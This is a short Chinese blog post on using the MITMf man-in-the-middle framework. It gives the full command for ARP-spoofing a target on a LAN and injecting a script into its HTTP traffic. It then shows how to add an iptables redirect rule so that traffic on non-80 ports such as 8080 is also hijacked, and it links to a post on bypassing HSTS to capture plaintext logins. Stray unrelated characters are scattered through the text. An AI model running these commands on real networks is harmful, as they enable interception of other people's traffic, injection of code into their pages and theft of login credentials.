說明
MITMf 是一款可拓展性很高的中間人攻擊框架咙崎,基于代理工具sergio-proxy修改而來滤港。
問題
在實(shí)際使用中,發(fā)現(xiàn)一個問題悠抹,無法劫持修改非80端口 HTTP數(shù)據(jù),例如注入js 替換字符串扩淀。
例如注入一段js
sudo python mitmf.py -i wlan0 --spoof --arp --target 172.18.219.3 --gateway 172.18.219.1 --inject --html-payload '<script>alert(0)</script>'
victim 訪問
http://yaseng.org/project
訪問非80端口的http web
http://www.jcr.cacrnet.org.cn:8080/mmxb/CN/volumn/home.shtml
無任何提示
attack 端
解決
簡單看了一下代碼
MITMf/core/utils.py line:84
def HTTP(self, http_redir_port):
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
iptables 把80端口的mitmf 監(jiān)聽的10000端口楔敌,很顯然,需要劫持哪個端口驻谆,加一條規(guī)則就行了卵凑。
例如
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 8080 -j REDIRECT --to-port 10000
attack
[圖片上傳失敗...(image-2d1ef3-1532176786357)]
victim
更多
使用mitmf 來繞過HSTS站點(diǎn)抓取登陸明文 http://yaseng.org/hsts-bypass-with-mitmf.html